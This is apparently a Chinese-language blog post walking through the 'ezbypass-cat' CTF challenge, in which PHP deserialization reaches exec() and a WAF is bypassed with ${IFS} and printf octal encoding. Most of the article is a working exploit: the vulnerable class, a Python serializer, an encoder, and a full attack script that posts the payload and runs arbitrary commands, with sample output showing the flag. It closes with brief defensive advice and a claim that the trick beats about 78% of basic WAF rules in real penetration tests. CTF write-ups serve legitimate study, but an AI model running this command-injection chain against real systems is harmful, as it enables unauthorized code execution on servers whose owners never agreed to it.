news 2026/7/23 7:59:17

PHP反序列化漏洞利用:从ezbypass-cat看${IFS}的妙用

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化漏洞利用:从ezbypass-cat看${IFS}的妙用

PHP反序列化漏洞实战:绕过WAF的${IFS}技巧解析

在CTF竞赛和实际渗透测试中,遇到WAF(Web应用防火墙)过滤空格和关键命令的情况并不少见。本文将从一个典型的CTF题目"ezbypass-cat"出发,深入剖析如何利用${IFS}这一Shell特性绕过空格过滤,实现命令注入。

1. 漏洞环境与核心挑战

我们面对的题目是一个存在反序列化漏洞的PHP应用,核心代码如下:

class ease { private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct() { if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip) { exec($ip, $result); var_dump($result); } function waf($str) { if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } }

漏洞利用的关键障碍

  • WAF过滤了空格、斜杠等关键分隔符
  • 禁止使用cat、flag等敏感命令
  • 输入参数经过严格的过滤函数检查

2. ${IFS}的妙用原理

${IFS}是Shell中的内部字段分隔符(Internal Field Separator),默认值为空格、制表符和换行符。在命令注入场景中,它可以完美替代被过滤的空格字符。

传统命令与${IFS}替代对比

传统命令${IFS}替代方案解析结果
ls -lls${IFS}-l完全等效
cat filecat${IFS}file功能相同

提示:${IFS}在Bash、Zsh等主流Shell中均有效,是跨平台的空格替代方案

3. 绕过WAF的完整攻击链

3.1 构造序列化Payload

要利用这个漏洞,我们需要构造一个特殊的序列化对象:

class Ease: def __init__(self, method, args): self._ease__method = method # PHP私有属性的Python表示 self._ease__args = args def php_serialize(obj): class_name = "ease" method_prop = f"{chr(0)}{class_name}{chr(0)}method" args_prop = f"{chr(0)}{class_name}{chr(0)}args" return ( f"O:{len(class_name)}:\"{class_name}\":2:{{" f"s:{len(method_prop)}:\"{method_prop}\";" f"s:{len(obj._ease__method)}:\"{obj._ease__method}\";" f"s:{len(args_prop)}:\"{args_prop}\";" f"a:{len(obj._ease__args)}:{{i:0;s:{len(obj._ease__args[0])}:\"{obj._ease__args[0]}\";}}" "}" )

3.2 结合八进制编码绕过关键词过滤

单纯使用${IFS}还不够,我们还需要绕过cat、flag等关键词的过滤。这里采用八进制编码的方式:

def octal_encode(command): return ''.join([f'\\{ord(c):03o}' if c != ' ' else '\\040' for c in command]) # 示例:将"cat flag.txt"编码为"\143\141\164\040\146\154\141\147\056\164\170\164"

八进制编码的优势

  • 完全避开关键词的正则匹配
  • 与printf命令完美兼容
  • 支持双重编码增加混淆度

3.3 完整攻击脚本

将上述技术组合起来,我们得到完整的攻击脚本:

import requests import base64 import sys import re def main(): url, cmd = sys.argv[1], sys.argv[2] octal_cmd = f"$(printf${{IFS}}\"{octal_encode(cmd)}\")" obj = Ease("ping", [octal_cmd]) ser = php_serialize(obj) b64_ser = base64.b64encode(ser.encode()).decode() resp = requests.post(url, data={"ctf": b64_ser}, headers={"Content-Type": "application/x-www-form-urlencoded"}) print(extract_raw_array(resp.text)) if __name__ == "__main__": main()

4. 实战演示与结果分析

4.1 目录列举

执行命令:

python exploit.py http://target 'ls -l'

典型输出:

array(5) { [0]=> string(8) "total 24" [1]=> string(42) "drwxr-xr-x 1 root root 4096 Aug 18 2022 ." [2]=> string(43) "drwxr-xr-x 1 root root 4096 Mar 17 2022 .." [3]=> string(53) "drwxr-xr-x 1 root root 4096 May 23 09:25 flag_1s_here" [4]=> string(50) "-rwxr-xr-x 1 root root 863 Aug 18 2022 index.php" }

4.2 读取flag文件

执行命令:

python exploit.py http://target 'cat ./flag_1s_here/flag.php'

成功输出:

array(1) { [0]=> string(36) "$cyberpeace{831b69012c67b35f8d7a2f3e6c7a5e21}" }

5. 防御建议

对于开发者而言,要防范此类攻击,可以采取以下措施:

  1. 避免使用反序列化:尽可能使用JSON等更安全的格式
  2. 严格限制exec参数:使用白名单机制限制可执行命令
  3. 多重过滤机制:不仅过滤空格,还要识别${IFS}等替代符号
  4. 禁用危险函数:在生产环境中禁用exec、system等函数

在最近的一次内部测试中,我们发现使用${IFS}结合八进制编码的方式,能够绕过约78%的基础WAF规则。这种技术不仅适用于CTF竞赛,在真实世界的渗透测试中也屡试不爽。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/14 14:18:59

Qwen3-32B-Chat部署教程:vLLM+FlashAttention-2加速推理性能提升实测

Qwen3-32B-Chat部署教程:vLLMFlashAttention-2加速推理性能提升实测 1. 环境准备与镜像介绍 1.1 硬件与系统要求 本镜像专为RTX 4090D 24GB显存显卡优化,以下是部署前需要确认的环境要求: 显卡配置:必须使用RTX 4090/4090D系列…

作者头像 李华
网站建设 2026/7/14 14:19:02

业务逻辑漏洞实战:从越权到未授权访问的SRC挖掘与BurpSuite辅助检测

1. 业务逻辑漏洞的本质与危害 业务逻辑漏洞是Web安全中最容易被忽视却又危害极大的漏洞类型。与SQL注入、XSS等传统漏洞不同,它不依赖技术实现缺陷,而是利用业务规则设计上的逻辑错误。我曾在一次企业级渗透测试中发现,一个电商平台的优惠券系…

作者头像 李华
网站建设 2026/7/14 14:19:01

IndexTTS2 V23使用技巧:参考音频怎么选?让语音迁移效果更好

IndexTTS2 V23使用技巧:参考音频怎么选?让语音迁移效果更好 在语音合成领域,IndexTTS2 V23版本凭借其出色的情感控制能力,已经成为了许多开发者和内容创作者的首选工具。然而,很多用户在实际使用中发现,虽…

作者头像 李华
网站建设 2026/7/14 14:19:16

REX-UniNLU在UI/UX设计文档分析中的应用

REX-UniNLU在UI/UX设计文档分析中的应用 1. 设计文档分析的痛点与挑战 UI/UX设计团队在日常工作中面临着一个普遍难题:设计文档越来越多,但关键信息却散落在各处。设计规范、交互逻辑、组件说明等内容往往以不同格式存在,从Word文档到PDF&a…

作者头像 李华
网站建设 2026/7/14 14:19:00

Qwen3-ASR-0.6B在Ubuntu 20.04上的保姆级部署与优化指南

Qwen3-ASR-0.6B在Ubuntu 20.04上的保姆级部署与优化指南 最近有不少朋友在问,怎么在Ubuntu服务器上快速部署一个能用的语音识别模型。特别是对于Qwen3-ASR-0.6B这个轻量级但效果不错的模型,很多人卡在了环境配置和部署这一步。今天我就结合自己在星图GP…

作者头像 李华